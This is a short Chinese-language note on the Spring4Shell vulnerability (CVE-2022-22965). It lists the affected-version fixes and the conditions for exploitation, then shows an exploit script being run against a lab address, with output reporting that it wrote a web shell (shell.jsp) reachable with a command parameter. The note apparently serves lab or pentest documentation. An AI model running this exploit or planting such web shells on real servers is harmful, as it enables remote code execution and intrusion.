Spring Framework 5.3.18 和 5.2.20
Spring Boot 2.6.6 和 2.5.12
Spring Core 是 Spring Framework 的核心组件,它是构建 Spring Framework 生态系统中其他组件(如 Spring MVC、Spring Boot、Spring WebFlux)的基础。利用代码在以下条件下可执行:
JDK 9 或更高版本
Apache Tomcat 运行 servlet 容器
打包为 WAR
包依赖:spring-webmvc 或 spring-webflux
如果应用程序以 Spring Boot 可执行 jar 文件形式部署(默认方式),则不会受此安全漏洞影响。
python CVE-2022-22965.py --url http://172.16.1.10:8080/helloworld/greeting
└─$ python cve-spring4shell.py --url http://172.16.1.10:8080/helloworld/greeting
[*] Resetting Log Variables.
[*] Response code: 200
[*] Modifying Log Configurations
[*] Response code: 200
[*] Response Code: 200
[*] Resetting Log Variables.
[*] Response code: 200
[+] Exploit completed
[+] Check your target for a shell
[+] File: shell.jsp
[+] Shell should be at: http://172.16.1.10:8080/shell.jsp?cmd=id